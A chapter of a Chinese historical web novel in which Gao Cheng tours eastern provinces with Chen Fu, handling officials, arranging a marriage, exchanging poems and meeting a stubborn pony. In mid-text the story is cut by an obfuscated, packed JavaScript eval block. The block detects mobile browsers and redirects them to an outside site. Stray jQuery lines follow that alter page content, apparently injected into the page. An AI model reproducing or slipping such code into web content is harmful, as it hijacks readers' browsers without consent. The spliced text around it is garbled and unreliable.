三月底,春寒未褪,为安抚东境不被侯景所乱,高澄自晋阳起驾,巡幸各州。
游弈轻骑提前两日探路清道,直阁精锐护驾于前,高澄乘一双马驾辕的青盖安车居于正中,文辅典官乘青幔羽葆马车紧随其后,十辆满载粮秣、医械,及绸绫丝葛、钱绢等物的辎车压阵,后跟数十杂役奴仆与五百轻骑,威仪赫赫向东而去。
车舆之内,熏香袅袅,高澄与陈元康围坐案前,商议典签密报的各州刺史、镇将及豪强士族舆情。陈扶在侧静静煎茶,将两盏新茶奉于案上,她推开细纱木窗,远处太行如黛,官道旁杨柳依依。
从晋阳至定州,多是驿道,队伍迤逦而行,未及日暮便直抵定州城外。
定州刺史厍狄干已率属官迎候,见高澄下车,立刻趋步上前躬身行礼。高澄抬手免礼,率军入城。行辕设于刺史府,亲兵迅速分守州府内外,护得周密。
入府未歇,他便先召来定州各级僚属升堂理事,厍狄干陪立一侧。高澄端坐主位,翻阅着州府呈上的户籍、垦田薄册,时而垂询几句闾阎舆情,待将公务一一厘清,已是月上中天。
厍狄干本是高澄姑父,见公务已了,便邀他至私邸小聚。便宴摒去繁文缛节,只高澄、陈元康等亲信与厍狄干极其家人副手围坐,一叙契阔,纵论东境局势。
陈扶则随厍狄干的子侄另开一桌,席上猜枚赌饮,笑语喧声盈耳。
次日一早,高澄携众登定州塔。
塔身砖石尚带夜露湿气,壁上苔藓沁出深绿,春风穿塔而过,卷起衣角轻扬。行至顶层,忽有细密雨丝飘落,淅淅沥沥,高澄立于栏边,望着暮春微雨中的景致。
唐河河畔芦苇丛生,沿岸捕鱼、浣纱的百姓纷纷收网避雨。
随行一定州官员望着此景,不禁叹息:“山河虽美,却处处烽烟,百姓何时方能安稳度日?”
陈扶笑回,“大将军亲巡东境,正是为扫平烽烟、护佑生民。”她望着蜿蜒如练的唐河,朗然吟道,“塔势凌霄汉,河光接远天。烽烟何足惧,此役定山川。”
众人皆抚掌赞之,低迷之气一扫而空。高澄目光落在她被雨丝濡湿的发梢上,眸中笑意温醇,“我家稚驹此诗,十足燕赵之慷慨。”
“大将军心怀天下,气度何止燕赵之慷慨。”
下塔没走几步,闻到一股焦香,道旁槐树荫里有个小贩,炉子里正烤着烧饼。高澄看陈扶瞟了两眼,朝刘桃枝丢个眼色,油纸包递来时还带着灶膛余温,陈扶掰了块塞嘴里,酥脆面香混着枣泥浸满舌尖,果如闻着一般香甜。
厍狄干看她吃了一整个后,还要吃剩下的,大嗓门道,“且住!午时我让后厨焖了黄羊肉,酸汤熬得浓醇,留着肚子才不亏!”高澄闻言笑睨姑父一眼,“只要爱吃,便不亏。”陈扶却收住动作,将捧着的油纸包拢紧,向厍狄干弯起眉眼。
高澄午后亲视农耕,正垂目看着主簿递来的粮税账册,一亲卫飞奔而来,单膝一跪,将两份火漆军报举过头顶。
高澄的指节在军报封泥上顿了顿,未及开口,从人已识趣退远,只剩陈元康与陈扶立在身侧。
第一份军报详述了侯景异动:那贼子刚向南梁请降,转头又向贼国求援,扬言愿割东荆州、北兖州、鲁阳、长社四城换取援兵。贼国因不信侯景,没有派军接应。王思政却认为若不趁机进取,必将后悔莫及,于是率荆州步骑一万余,由鲁阳关进兵阳翟。宇文泰听闻王思政出兵,便加封侯景为大将军兼尚书令,并令赵贵和李弼驰援。
待援军一到,侯景设宴邀请赵贵和李弼,赵贵识破其奸,非但未赴宴,反以‘商议军机’为名邀侯景过营。他自然没去,二人觉出他有异,待南梁羊鸦仁援军抵达,便班师了,只留王思政屯驻颍川。
侯景连夜奔往悬瓠城与羊鸦仁汇合。宇文泰因觉被利用,传召侯景入朝议事,侯景回信道:吾耻与高澄雁行,安能比肩大弟?”
“这厮!”高澄虽怒,嘴角却含着笑意,这情形恰如陈扶所料,侯景狼子野心,绝不肯甘居贼国、南梁之下,不过是想哄骗粮草援军罢了。
另一份写着我方动向:韩轨自颍州班师,慕容绍宗已奉命率十万大军出发,那侯景听闻是慕容绍宗前来,叩鞍有惧色,自言自语‘是谁叫这个鲜卑小儿派慕容绍宗来的,难道高王还没死?’。
高澄指尖在布帛边缘摩挲,未有言语。
他本因侯景惧色而宽心,可一想到慕容绍宗是尔朱家旧部,与自己素无交情却掌十万重兵,还是掠过一丝疑虑。
陈扶目光在他脸上转了转,声音放轻道:“斛律光与刘丰生都随军去了,一个是大将军一手提拔的亲信,一个是大王信任之人,不会有问题的。”
陈元康也笑道,“绍宗知臣特蒙顾待,前月曾使人来送臣饷金,以致其诚。臣为安其心,故受之而厚答其书,世子尽可放心任用。”
高澄眸光一闪,那点审慎烟消云散,将军报折好塞给陈元康,“传我将令,慕容军的粮草辎重,沿途州府优先供给,若有延误,以军法论处!”说罢走向等候的官吏。
田埂上只剩二人,陈扶转向陈元康,“阿耶,为国‘受贿’原也无妨,只是别都锁进自己库房才好。”她指尖划过田埂上的草叶,目光清亮,“如今世子倚重阿耶,自不计较;毕竟开国之臣 ,有才能就可用。但等大事一定,便会要求才德兼备。”
陈元康先前还担心,世子太过溺爱纵容,这丫头年纪轻,怕是会恃宠而骄闯出祸来。此刻听她竟如此深思远虑 ,心里甚慰,拍拍她肩笑道:“都听我家阿扶的。”
待到晚上议事,趁诸人核计军备开支,陈元康偶提一嘴,愿捐二十金,充作前线军饷。高澄赞他忧国如家,难能可贵,众官见状,也纷纷献资。
三日后,高澄启程东行。临行前,他在城门口紧紧握住厍狄干的手道,“邺城终有不及,定州之安定,要仰仗姑父。凡有异动,无论来自内部还是周边,姑父皆可密信直奏,先机处置。日后论功,此为首要。”
厍狄干本就是豪爽武将,又是亲人,被这番托付说得热血上涌,反手攥紧高澄的手,“世子放心!某便是拼了这把老骨头,也得把定州治得铜墙铁壁一般!”
到了冀州地界,队伍扎营于荒甸之上休整炊事,高澄与陈扶共骑白龙驹,巡视荒地。
高澄握缰策马,问怀里人,“依稚驹看,此处若要垦殖,该从何处着手?”
“东边地势略高,不易积水,可种粟麦;西边临近漳水支流,可开渠引水,改田种稻。不过,此处荒弃多年,需先清点流民,分户授田,再派农官指导,或能事半功倍。”
“不愧是我的小王猛,一语点透症结。流民分户、农官指导,此事交予高隆之办,他必不怠慢。”
话音未落,天际骤暗,豆大雨点毫无预兆砸落,先只几点,转瞬便成瓢泼之势,打湿了高澄外衫,也淋得陈扶女官服浅青变作靛蓝。
荒陂之上尽是疏林浅草,唯有东南方百余步外,隐约半截青灰色的祠宇飞檐。
他调转马头,缰绳一紧,片刻便至祠前,那古祠早已破败,门楣上 “土地祠” 三字朱漆剥落。高澄翻身下马,一脚踹开虚掩木门,祠内正中土地公塑像半塌,阴暗潮湿,倒也能暂避风雨。
看她微微战抖,高澄脱了湿外衫,将她往身前一带,拢进怀里,掌心贴着她后背搓揉。
暖意透过湿衣渗进肌理,冷意瞬时褪了大半。
陈扶缩在他怀里,抬眼瞥见他眉峰微敛,似嫌等待无趣。笑道:“忽逢骤雨,却也有几分意趣。”扫过祠外雨打荒榛,轻声吟道,“荒祠避骤雨,荒芜承甘霖。相依听涛落,风定待晴明。”
高澄低头望向她。
昏暗中,她睫毛沾着细碎雨珠,眼眸亮得像盛了星光。心中不耐尽数化去,只剩一片温润,目光胶着在她脸上,一时下唯有雨声风声,轻浅呼吸,暖意裹着降真余香,丝丝缕缕缠绕。
良久,方轻吐出四字:“此刻甚好。”
祠外传来马蹄声,“世子,属下带伞来迎。”高澄身形微顿,收紧手臂又抱了抱她,才缓缓松开。
信都,司马子如率属官出城十里相迎,见高澄安车驶近,忙快步上前,笑容堆得满脸,语气却难掩局促:“大将军巡幸冀州,子如恭迎来迟,望乞恕罪!”
高澄掀帘下车,目光扫过远处漕运码头繁忙景象,又落回司马子如身上,唇角噙着淡笑,“遵业治理有方,漕运兴盛,何罪之有呐?”
一行直入冀州府衙,高澄坐于主位,开门见山:“此行一核漕运账目,二查粮储实数,三议流民垦田之策,今日务必落地。”众官齐声领命,呈上州府汇总文书,陈元康与漕运使核账,逐笔比对流水……
待诸事议定,日已暮色,司马子如忙上前道:“大将军与诸位辛苦,寒舍已备下冀州土菜,还请移驾。”
所谓 “寒舍”,原是他在城郊的别业,依山傍水,青瓦粉墙绕着竹篱,院内暖炉燃着松烟。正厅内,楠木案上菜肴精致、酒壶烫得温热,倒也不算奢靡,显然是记着当年受辱的教训,刻意收了浮华。
宾主落座,司马子如亲自为高澄斟酒,手抖得险些洒出。他端起自己的酒杯,喉结滚动数次,终于压着声音开口,带着哭腔:“世子…… 罪侄…… ”
他侄子司马世云举颍州从侯景一起反了。
一句话刚落,他便要起身叩首,高澄抬手按住他,“此事你正月便差人密报至晋阳,何罪之有?”
司马子如身子一僵,往日油滑消失无踪,眼中满是惶恐,“可罪侄举颍州附逆,我…… 我身为叔父…… ”
“你是你,他是他。”高澄打断他,提起酒壶为他添满,“当初高慎献虎牢而反,其弟高子通主动报之,不是也没被牵连?子通颇有胆气,勇猛过人,已随慕容绍宗平叛。你既已密报了我,司马世云之事,便与你无干。”
司马子如仍惴惴不安,他对这个世子实在怵得慌,之前自己明明于郑大车之事有恩于他,可受贿后仍被其驻马行街,把他吓个半死,高欢看老朋友憔悴可怜,安抚他,赐他酒百瓶,羊五百口,粳米五百石。他惧怕地说,“无事尚被囚几死,若受此,岂有生路邪?”
故而自被再次启用,到冀州出任刺史后,他是真改了。
高澄看他那样子,浅酌一口酒,眸中闪过笑意,“遵业治理冀州,粮储丰足,百姓安居,功绩我已尽知。你既能忠心,也能改。”看向其子司马消难,少年立在一旁,风姿俊朗,眉眼间很有灵气,“道融尚未婚配吧?我妹高那耶明年便及笄,若你愿,这门亲事便定下如何?”
司马子如大喜过望,老泪纵横,“蒙世子不弃!子如安有不愿!道融!快给大将军磕头!”
司马消难连忙跪地俯首,连连大拜,“道融日后,唯大将军马首是瞻,赴汤蹈火,在所不辞!”
高澄示意他起身,司马子如忙不迭地奉酒布菜,趁高澄得兴,他双手捧着酒杯,试探地问,“我那三个侄子……幼之、子瑞、膺之,按律当因其兄被诛……只是这三个孩儿各有才能,实在可惜啊……”
看高澄笑而不语,司马子如心思,应是死不了了,死不了就好,留得青山在,不怕没柴烧。
心一安,口中便滔滔不绝表起忠心来,说要效犬马之力。
陈扶见时机正好,轻声开口:“刺史既愿为大将军效力,稚驹有一浅见,斗胆呈上。”目光落在壁上悬挂的冀州舆图上,“冀州乃漕运要冲,博广池周边粮米充足,若增派二十艘官船,直运前线,既省中转之费,又解军粮之急,不知刺史以为如何?”
司马子如本就是人精,女史的话无异于高澄的授意,忙应道:“陈女史所言极是!此事明日便办!”
次日,高澄理完漕运政务,留陈元康在码头监看调度,自己则携陈扶登舟游起了湖。
荷叶初展,碧色连天,渔舟小巧,穿行其间,见有船头挂着‘现捕现烹’木牌的流动船肆,高澄令船夫并船,不多时,厨娘端来清蒸虾、红烧鲤鱼等河鲜。
鱼肉鲜嫩,滋味绝佳,高澄取过酒壶,倒了两杯米酒,递一杯与陈扶,陈扶接过,与他碰杯,浅酌一口,酒液入喉,清甜中带着几分醇香,沁人心脾。
湖光落在她眉眼间,温柔了她的轮廓,高澄望着她,忽想起初见时,那个扎着双丫髻的孩儿,喝一口酒便皱紧眉头,如今竟已能与他共饮,共论天下大事。
不由胸中翻涌起沉雄,望湖而赋:
“衡湖泱泱兮,涵纳百川。太行嵯峨兮,为吾屏藩。往世英豪兮,逐鹿其间。戈矛既折兮,霸业成烟。今吾临戎兮,巡守东藩。誓清寰宇兮,重整河山。”
陈扶眸中闪过赞叹,承前而拓,相谐而应:
“漕运通衢兮,粮秣连绵。盐利充军兮,壁垒自坚。中兴之业兮,肇始于肩。万方仰德兮,四海归贤。古之豪杰兮,皆为序篇。今朝风流兮,唯君独先。”
高澄眸光大亮,仰头朗声大笑,举杯与她相碰,“有稚驹在,我无有不能。”
在信都的三日,司马子如对陈扶父女极尽殷勤,派去最伶俐的仆妇,连她的裙摆脱了线都被悄悄收去缝补。遇事必请教陈扶,还对儿子司马消难道:“她不过豆蔻,却沉静庄重,言辞老道高深,日后你在邺为官结交,万莫以其为小女儿家轻之漏之。”
离开冀州南下,趁车厢只剩二人,陈扶问高澄道:“大将军为妹妹定下的婚事,可曾问过她?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738809|185337||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
高澄正把玩着司马子如送她的短剑,闻言抬眼,“司马消难虽爱造作夸饰,好博名誉,却也算自幼聪慧,通读史册经书,又风姿俊朗,配得上那耶。” 语气理所当然,“婚姻大事,依的是父母之命,媒妁之言,何况我为她择的是良配,她为何不愿?”
陈扶抿了抿唇,轻声道:“若妹妹已有心悦之人,或是不喜司马公子性情,岂不委屈?”
高澄手臂一抬,捏捏她软乎乎的脸颊,戏谑道,“日后将你许人时,我先问你可愿,如何?”
他本是随口捉弄,料想她会红着脸躲开,或是小声反驳,却没料到陈扶只是抬眸看他,睫毛轻眨了眨,认真地点了点头,轻声应道:“好。”
话一出口,脸颊上的力道一滞,高澄脸上笑意瞬间淡得无影无踪。
他收回手,端起桌上的冷茶,仰头灌了一大口。
别过脸抽出本文书,提笔狠狠一蘸,落笔颇重,在文书上洇出一团朱红,桃花似得。
陈扶心里一沉,想来他自作主张惯了,不喜手下之人悖逆他意,亲妹尚且没有权利,她却顺着玩笑话想要自主之权,实在不懂事。
然她也不能说都听大将军的,给日后遗患,故而模棱两可道,“是稚驹多言了。”
见他脸色依旧不好,陈扶转了话题,“大将军,冀州漕渠,疏浚时若在浅滩处设几道导流坝,或能调节汛期。”
可高澄像是未闻,目光紧锁字里行间,陈扶又试着提了几句前线军务,声音放得轻软,试图化解僵持。
他依旧装聋作哑,笔尖在纸上沙沙疾走,只给她一个冷硬的侧影。
陈扶见状,便不再多言,安静地跪坐一旁,添茶磨墨。
这般沉默了约莫半炷香,高澄下笔渐缓,余光瞥眼身侧人,她垂着头,睫毛像蝶翼般轻敛着,竟透着几分委屈,心头那无名火蓦地就熄了,生了心疼。
他搁下笔,从案侧的匣子里摸出一油纸包,打开,递到她面前,“尝尝冀州的,看和定州的哪个更甜些。”
见她茫然望他,他又笑着掰下一块露出枣泥的烧饼,递她唇边。
济州属东魏黄河漕运带,沿岸官仓密布,粮船挤泊码头,船夫赤臂拉纤,号子雄浑穿云;岸边晒粮场铺就金浪,民夫肩扛粮袋穿梭入仓,官差执簿登记,一派舟楫往来、人声鼎沸的繁忙景象。
时逢春汛,黄河浊浪翻滚,水势湍急如奔。部分粮船被暴涨河水困住,离岸数丈难靠,船夫们奋力撑篙,篙尖插入浪中竟掀不起半分波澜。高澄立在堤上,眉头微蹙。济州刺史见状,不仅呵斥船夫,竟欲命岸边民夫下河拖拽。
陈扶凑近高澄,附耳几句,高澄抬手止住刺史,“不必为难他们。既知漕渠修缮为要,更要抚恤民夫,激起民变,这罪责你来担?”转头吩咐刘桃枝:“带些人去搭把手。”
处置完漕运急事,又将沿路的流民青壮编为‘新安营’,派驻前线,老弱者迁往垦区,分授荒地;既解流民安置之困,又补前线兵源之缺。
随后接见济州官吏耆旧,“在座诸位,或为元从之后,或为乡里望族,皆是国之腹心。侯景跳梁小丑,不足为虑,望诸君与澄同心同德,共保大魏安宁。”他话锋微转,眸色锐利,“内安方能外攘。若有宵小不识大体,欲趁乱行不轨之事……也休怪孤,顾不得往日情分。”
赴青州之路多丘陵,五百亲兵马步相济,旌旗在山道间蜿蜒如蛇。
青州濒海富庶,盐铁之利甲于诸州,沿海盐场炊烟缭绕,盐户或支锅煮盐,或于滩涂晒盐,盐官往来巡查记账,盐车队列首尾相接,向内陆转运不息。
东阳城内,尉景率属官相迎,高澄见他身形消瘦,鬓发霜白,不由上前半步,关切道:“姑父治下百姓安居,便是最大功绩,不必过于操劳。”尉景苦笑摇头,“是老了,不必当年了。”
私府内,医官身影不时出入,显是为他调理身体。
盐务议毕,高澄忽笑问尉景:“姑父,当年你宝贝得紧的那小东西,可还活着?”
尉景正按着胸口缓气,闻言瞥他一眼,“它才十二岁,如何就死了?”
高澄眉梢一挑,“在哪儿养着?”
尉景依旧没什么好气,“还能在哪儿?后院。”
一旁的陈扶听得满心疑惑,听着像是在说人,可又透着古怪。正要细思,手腕被轻轻一拉,高澄侧脸对她笑道:“稚驹,带你见个稀罕物。” 他咬着 “稚驹” 二字,眼底藏着捉弄笑意,不等她应声,便拉起她往外走。
后院一被拾掇得干净的马厩里,卧着匹通体雪白的小马。
它比寻常马矮了大半,堪堪到腰腹,鬃毛梳得顺滑如缎,正低头慢悠悠啃着苜蓿,听见脚步声,歪着脑袋望过来,一双黑眼珠亮得像浸了油,小耳朵轻轻扇动,模样乖巧又憨态。
这马生得太过可爱,任谁见了都要心生柔软。她下意识伸出手,那小马竟起身凑了过来,用温热鼻尖蹭了蹭她指尖,全没半分牲畜野性。
高澄倚着围栏,笑问,“你没觉得像谁?”
听他语气调笑,陈扶已是了然,原来她的小字,竟是这般而来。小马乖巧无害,是有几分她面对他时的样子,心里一硒,浅笑道:“稚驹实没看出像谁。”
“那便再好好看看。”
他十五岁见这果下马,便觉它乖巧玲珑,一心想骑玩,可尉景宝贝得紧,连碰都不让他碰,还害得他挨了几十杖。
今日既有机会,自然要试上一试。
高澄打开围栏,伸手攥住马缰绳。那果下马歪头看他,模样温顺,似乎并不抗拒。高澄一跨一坐,持缰驱策,谁知那马竟像生了根一般,四条小短腿稳稳钉在原地,任凭他怎么抖缰、怎么夹马腹,就是纹丝不动。
高澄愣了愣,加大了力道。
可那果下马依旧不为所动,既不嘶鸣,也不尥蹶子,还轻轻偏过头,啃开了槽边的苜蓿,仿佛背上的人根本不存在。
“嘿,这小东西!” 高澄又好气又好笑。
见他要往马屁股上抽鞭子,尉景连忙上前按住,喘口气道,“这马就是这般性子,若不想动,抽死也没用。”
高澄啧了一声,“姑父下不去狠手,自然驯不好它,”
“鞭子也抽过,好东西也喂过,它软硬不吃,索性便随它去了。”尉景爱怜地拂过马鬃,“它本就是偶产的异种,世间难得,我也没想让它当坐骑。”
高澄盯着那歪头啃草的马头,他一直以为这马是温顺的,今日才知竟是个犟种,转头看向立在栏外的陈扶,少女春衫胜雪,嘴角噙着浅浅的笑意,乖巧又懂事。
正看得入神,她忽转目望来,轻声道:“大将军,稚驹知道它像谁了。”